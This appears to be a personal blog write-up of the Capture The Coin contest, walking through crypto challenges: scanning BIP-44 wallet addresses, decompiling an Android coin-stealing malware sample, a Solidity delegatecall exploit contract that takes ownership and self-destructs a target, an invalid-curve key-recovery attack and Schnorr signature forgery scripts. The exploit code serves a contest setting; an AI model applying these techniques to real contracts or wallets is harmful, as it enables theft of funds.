Ender's Blogs

Search…

Capture The Coin Writeup

https://capturethecoin.org/

Result

My team: Kubertu stayed at top #6

My personal work stayed at top #10

Our prize

Hide and Seek (200 Point)

Question:

We found a mnemonic for a wallet with a note saying there is a hidden transaction:

1

play fever bullet unlock error palm insect pottery tower torch memory liquid

Copied!

Can you find the exact amount transferred on the BTC Testnet network?Once you're strong enough, save the world:

Problems:

- This seed is generated from BIP-44
- We need to find exact amount transferred ?! I was confused as well. So, as I understood one mnemonic gives thousand of addresses. In order to find the exact address has transferred the money, the fastest way to do is automate things.

Methods:

- 1.Use this online generator to get a list of addresses derived from BIP-44 https://iancoleman.io/bip39/
- 2.Later, we have a list of BIP-44 addresses
- 3.Write a automatic script by using blockcypher API

1

#!/bin/bash

2

3

4

input="from101.txt"

5

while IFS= read -r line

6

do

7

curl -s https://api.blockcypher.com/v1/btc/test3/addrs/$line | grep -w "balance" | cut -d ":" -f 2| cut -d "," -f 1 && echo $line

8

sleep 5

9

done < "$input"

10

Copied!

4. The first address has

`1000000 n2cceZi8jjMxTtmP7oVzX2ADt4jL6qcdhQ`

but it's not a right one 5. Keep on scanning, we found

`179362 mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd`

. Seemly, this account has a balance. Let's check them out on blockchain explorer. https://www.blockchain.com/btctest/address/mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd
6. Total Received **0.00179362** BTC

Evil Droid (300 Point)

Question:

Someone sent us an Android malware sample saying that it stole all their BTC coins. Can you extract the evil address where all the money is sent?

Problems:

- Is the evil address hard-coded?
- Is the evil address called from arbitrary servers?
- Is the evil address is hidden somewhere at the first created?

Analyze:

Download the apk file and install it on an android phone. By using Burp Suite we can tamper its requests and see what's it calling in and out. Nothing found!

Download the apk file and using

`dex2jar`

to decompress the file to java file, then drag them onto the `jdgui`

to have a pretty human-reading format. After hours of reading the code. I've found:

- it uses Kotlin
- It will target those Android phones which are installed
`com.madeup.wallet.app"`

- Then using
`regex`

to find the victim address - The evil address is encrypted and
**write**them to**log**:D

1

protected void onCreate(@Nullable Bundle paramBundle)

2

{

3

super.onCreate(paramBundle);

4

setContentView(2131296284);

5

Log.d("asdf", Encryption.decryptMsg(new byte[] { -92, 12, 23, 115, 84, 48, -125, -66, 40, 59, 105, 63, 19, 29, -93, -67, 92, 119, 69, -62, 127, 35, 114, 85, 117, -5, -34, -94, -73, -97, 41, -78, 59, 13, -116, -103, -51, 53, -112, 25, -30, -76, 109, -52, -114, 118, -80, 0 }));

6

}

Copied!

- 1.Connect the phone to the PC
- 2.Run
`adb logcat | grep "asdf"`

- 3.Open the app
- 4.

Tricky Ether (500 point)

Question:

Can you cause the ethereum contract below to self destruct?

1

pragma solidity ^0.5.10;

2

3

contract Jackpot {

4

5

address public owner;

6

7

constructor() public payable {

8

owner = msg.sender;

9

}

10

11

function destroyme() public {

12

require(msg.sender == owner);

13

selfdestruct(msg.sender);

14

}

15

16

function hackme(address _address) public {

17

_address.delegatecall("0x12345678");

18

}

19

}

Copied!

Problems:

- Contract using
`selfdestruct`

- Contract using
`delegatecall`

- To execute the function
`selfdestruct`

we have to become an owner `delegatecall`

is calling to an arbitrary number/address ??!!

Answer:

“Delegatecall is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and`msg.sender`

and`msg.value`

do not change their values.This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.”

This low-level function has been very useful as it’s the backbone for implementing Libraries and modularizing code. However it opens up the doors to vulnerabilities as essentially your contract is allowing anyone to do whatever they want with their state.

Thanks to this drawback of

`delegatecall`

. I created an attack smart contract1

pragma solidity ^0.5.10;

2

3

contract Jackpot {

4

5

address public owner;

6

7

constructor() public payable {

8

owner = msg.sender;

9

}

10

11

function destroyme() public {

12

require(msg.sender == owner);

13

selfdestruct(msg.sender);

14

}

15

16

function hackme(address _address) public {

17

_address.delegatecall("0x12345678");

18

}

19

}

20

21

contract Checker {

22

address public owner;

23

24

constructor() public {

25

owner = msg.sender;

26

}

27

28

function()

29

external

30

payable

31

{

32

owner = msg.sender;

33

}

34

}

Copied!

2. Deploy Checker smart contract which has

`fallback function.`

3. Add our smart contract address to function

`hackerme`

. The `delegatecall`

will call our smart contract with an arbitrary function which also means it will trigger the fallback function. Bravo! we soon will become the owner of Jackpot smart contract.4. We become an owner

5. Execute

`destroyme()`

function (I had to increase gas limit to 300000).6. The contract is killed.

Linkable Payments (300)

Your goal is to recognize a flaw in a particular implementation of a digital currency client, that utilizes CryptoNote key/transaction model, and use it to get the tracking key of the node running this client. Setup

The node that you are targeting is misconfigured; it's error log is publicly accessible via a RPC endpoint. What is relevant for this challenge are log entries created by the function that checks every transaction that passes through the node.

You construct and broadcast a series of invalid transactions. These transactions are recored in txs.json . Many other fields that would be present in a real transaction are omitted for brevity.

Althought the broadcasted transactions are invalid, with this particular node you can see error messages mentioning these transactions appearing in the node's aforementioned error log. These log entries are recorded in err_log.json.

Using this information, find the tracking key of the node owner. This tracking key is the flag for the challenge. The flag must be submitted in hex format. Technical details

1

Read section 4.3 of CryptoNote v2.0 whitepaper to understand how a node is supposed to process transactions To simplify the challenge a little, the destination key is P=rA and P'=aR. Then, the tracking key is not the pair (a, B), but just a (a single 160-bit hexadecimal number). B would be known to us anyway in a real-world scenario, and is irrelevant for this challenge, since it's not used in the key calculation.

2

3

The elliptic curve used by the digital currency in this challenge is brainpoolP160r1. It's a 160-bit curve, so a point on the curve is a pair of 160-bit numbers. A point on the curve is serialized as follows: 0xXXXXYYYY, where XXXX is a 160-bit hexadecimal number corresponding to the x-coordinate of the point and YYYY is another 160-bit number in hex corresponding to the y-coordinate of the point. Both coordinates are left-padded with zeros when needed, so that the resulting number of hexadecimal digits is always 40 for each coordinate. These two numbers are then concatenated together and prefixed with 0x. Thus the total length of a serialized ECC point is 82 characters.

Copied!

Appendix

It's important to note that the node operator's funds are still safe since the spending key is not stored on the node or used for transaction scanning. But now you can set up your own tracking node and watch every transaction that is sent to the node operator, defeating the unlinkable payments model.```

We have 2 files, transactions and their error log:

1

txs.json

2

```[

3

{

4

"tx_output":{

5

"dest_key":"G0",

6

"amount":"0"

7

},

8

"tx_pub_key":"0x898CB2616E46E8F01CB4C05732EB89D921543FE30000000000000000000000000000000000000000"

9

},

10

{

11

"tx_output":{

12

"dest_key":"G1",

13

"amount":"0"

14

},

15

"tx_pub_key":"0x7631DC05F1954DA902E29FC8E2E7EC21A80C5CA474657D752620FD5E46628039AF3409C6CB209C5F"

16

},

17

...

18

...

19

```

20

err_log.json

21

22

```

23

[

24

{

25

"err_type":"UndefinedComparisonError",

26

"tx_hash":"0xC22BFF809BF5FC146D4AB3D971E1E3F7A079BEE4B03D4D33FDFC846DBDC4D881",

27

"err_msg":"Comparison is not defined between P=0xG0 (type TxDestKeyStr) and P_prime=0x898CB2616E46E8F01CB4C05732EB89D921543FE30000000000000000000000000000000000000000 (type TxDestKey)",

28

"datetime":"2019-06-12T21:24:05.160604"

29

},

30

{

31

"err_type":"UndefinedComparisonError",

32

"tx_hash":"0xCABDBF620B9A5989A238EF4235F756DDD77B5B1E3837E99DCF2EBB2B1CC4A458",

33

"err_msg":"Comparison is not defined between P=0xG1 (type TxDestKeyStr) and P_prime=0x7631DC05F1954DA902E29FC8E2E7EC21A80C5CA474657D752620FD5E46628039AF3409C6CB209C5F (type TxDestKey)",

34

"datetime":"2019-06-12T21:24:05.365136"

35

},

36

...

Copied!

The CryptoNode use Elliptic-curve Diffie–Hellman(ECDH) to establish a common secret between client and server, the elliptic-curve is brainpoolP160r1(RFC - https://tools.ietf.org/html/rfc5639), so we know value of p, A, B, base point (x,y), q

Curve-ID: brainpoolP160r1

1

p = E95E4A5F737059DC60DFC7AD95B3D8139515620F

2

A = 340E7BE2A280EB74E2BE61BADA745D97E8F7C300

3

B = 1E589A8595423412134FAA2DBDEC95C8D8675E58

4

x = BED5AF16EA3F6A4F62938C4631EB5AF7BDBCDBC3

5

y = 1667CB477A1A8EC338F94741669C976316DA6321

6

q = E95E4A5F737059DC60DF5991D45029409E60FC09

7

h = 1

Copied!

In order to understand the basic idea behind our attacks, you just need to know that an elliptic curve E in cryptography is a set of points over a finite field satisfying the following equation:

`E: y^2 = x^3 + ax + b`

According to the CryptoNode whitepaper, we know the destination key is "P = Hs(rA)G + B" and one-time public key is "P' = Hs(aR)G + bG". But to simplify the challenge, the destination key is P=rA, P'=aR and the tracking key is **a**

```
P = rA
P' = aR
R = rG => P' = a(rG)
```

G is a base point, that belong to the curve(brainpoolP160r1). We need to find the tracking key **a**(a part of private key).

Reading through the transaction log txs.json, we can get x, y (It's a 160-bit curve, so a point on the curve is a pair of 160-bit numbers. A point on the curve is serialized as follows: 0xXXXXYYYY, where XXXX is a 160-bit hexadecimal number corresponding to the x-coordinate of the point and YYYY is another 160-bit number in hex corresponding to the y-coordinate of the point). The first 20 bytes of the transaction is X, the last 20 bytes is Y. Now we use SageMath to check these points - They belong to the curve?.

After checking, all of them do not belong to the defined curve. Look like the attacker sent 22 invalid points(outside of the defined curve) to the server. The invalid point could belong to a different curve **E' **(different B), which consists of a very small number of elements(Invalid curve attacks).

Let’s call this new curve E′.

`E′: y^2 ≡ x^3 + A*x + B' (mod P) B' ≠ B`

We have 22 points in the txs.json, so we can compute **B'** with the expression:

` B' = (Y^2 - X^3 - A*X) mod p`

`B' = [214056964304889, 221864837895040, 227922420544393, 241972569596889, 8356763387106, 28159690006704, 9516820837131, 165209032884639, 168449704989074, 60673558959867, 101581735758527, 159237028241252, 40242026678833, 103670189236856, 262646877055792, 240332779594647, 239871262924756, 193672526341504, 269060903799201, 187321463214601, 185801876971391, 256736902157449]`

These new curve’s order has a small prime divisor r will ensure there exists a subgroup of 𝔼′ of small order r. As the discrete logarithm(https://en.wikipedia.org/wiki/Discrete_logarithm) is now in the subgroup of |r| generated by G ∈ 𝔼′, the result will only have r possible values. If we send the invalid point P' to the server, the server computes secret sP'. The secret can have only small possible values. If we are able to learn the result sP'(from err_log.json), we then also learn s1 = s mod (small order).

This will leak k mod r. Repeating this for new curves and new r values will create a system of linear congruences which can be solved with the Chinese Remainder Theorem, we can find out the final value of k.

`a = k ≡ X (mod r)`

Using the result in** err_log.json,** we can compute the discrete logarithm of **G1`** and the order of **G`.**

`K mod order(G`) = discrete_log(G1`)`

1

K mod 2 = 1

2

K mod 11 = 1

3

K mod 23 = 7

4

K mod 5 = 1

5

K mod 41 = 34

6

K mod 7 = 4

7

K mod 293 = 273

8

K mod 691 = 161

9

K mod 347 = 93

10

K mod 17 = 7

11

K mod 229 = 162

12

K mod 53 = 19

13

K mod 13 = 7

14

K mod 977 = 380

15

K mod 89 = 83

16

K mod 109 = 82

17

K mod 9767 = 4771

18

K mod 439511 = 381213

19

K mod 10009 = 758

20

K mod 26459 = 14048

21

K mod 37 = 11

22

K mod 949213 = 196934

Copied!

Finally, We get the secrect with the Chinese Remainder Theorem(CRT)

1

CRT[1, 1, 7, 1, 34, 4, 273, 161, 93, 7, 162, 19, 7, 380, 83, 82, 4771, 381213, 758, 14048, 11, 196934][2, 11, 23, 5, 41, 7, 293, 691, 347, 17, 229, 53, 13, 977, 89, 109, 9767, 439511, 10009, 26459, 37, 949213]

Copied!

1

=> K =1156617505655811021722283933528498201 => hex(K) = 0xdec1a551f1edc014ba5edefc042019

Copied!

`0xdec1a551f1edc014ba5edefc042019`

Schnorrer signature (400)

Question & Answer:

Schnorrer_signature_CTF.pdf

113KB

PDF

Code:

1

from fastecdsa.curve import secp256k1

2

from fastecdsa.point import Point

3

from hashlib import sha256

4

from Crypto.Random import random

5

G = Point(secp256k1.gx, secp256k1.gy, curve =secp256k1)

6

7

c = int('dfea49684815ac0fd1d20404d9eb6146072e1928dcb9c31d7eb751268976e3ee',16)

8

Ux = int('e1a83769a5da6d4c5235746e89ab18c2d8e3b50b4856ae11656f979ef5bfe1cd',16)

9

Uy = int('ebf7a69ef8c22d2af9a9429970e52ac9458eb94bb1463790dadb431dec1546e6',16)

10

U = Point(Ux,Uy,curve = secp256k1)

11

x = random.randint(0,secp256k1.q)

12

print x

13

14

temp = -c *U + G*x

15

print temp

16

print hex(49368365179398110671535853755606456803748384354143305816183563097234358761597)

Copied!

Forging a signature (500)

Question & Answer

Forging_a_signature_CTF.pdf

65KB

PDF

1

##### Utility function

2

p_hex ='fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'

3

p = int(p_hex, 16)

4

# print p

5

def uncompress(compressed_key):

6

7

y_parity = int(compressed_key[:2]) - 2

8

x = int(compressed_key[2:], 16)

9

a = (pow(x, 3, p) + 7) % p

10

y = pow(a, (p+1)//4, p)

11

12

if y % 2 != y_parity:

13

y = -y % p

14

15

uncompressed_key = '04{:x}{:x}'.format(x, y)

16

return(uncompressed_key)

17

18

def compress(uncompressed_key):

19

y = uncompressed_key[66:]

20

x = uncompressed_key[2:66]

21

# print int(y,16)%2

22

if int(y,16) % 2 == 0:

23

compressed_key = '02' + x

24

else: compressed_key = '03' + x

25

return compressed_key

26

##################################

27

from fastecdsa.curve import secp256k1

28

from fastecdsa.point import Point

29

from hashlib import sha256

30

G = Point(secp256k1.gx, secp256k1.gy, curve =secp256k1)

31

hash = sha256('CoinbaesRulez').hexdigest()

32

hash = int(hash,16)% secp256k1.q

33

H = G*hash

34

35

hash_inv = pow(hash,secp256k1.q-2,secp256k1.q)

36

x = (4011*hash_inv + 6420) % secp256k1.q

37

y = H*x

38

r = 25

39

t = H*r

40

41

text1 = ('02{:x}'.format(H.x)).decode('hex')

42

text2 = ('03{:x}'.format(t.x)).decode('hex')

43

text3 = ('020{:x}'.format(y.x)).decode('hex')

44

45

# value_to_hash = compress(text1)+compress(text2)+compress(text3)

46

value = text1+text2+text3

47

print len(text3)

48

49

# print compress('04{:x}{:x}'.format(H.x,H.y))

50

# print compress('04{:x}{:x}'.format(t.x,t.y))

51

# print compress('04{:x}{:x}'.format(y.x,y.y))

52

# print hex(y.x)

53

c = sha256(value).hexdigest()

54

s = (r + int(c,16)*x)% secp256k1.q

55

# print text2.encode('hex')

56

# print y

57

print hex(s)

58

59

# print G*s

60

# print t +y*int(c,16)

Copied!

Last modified 1yr ago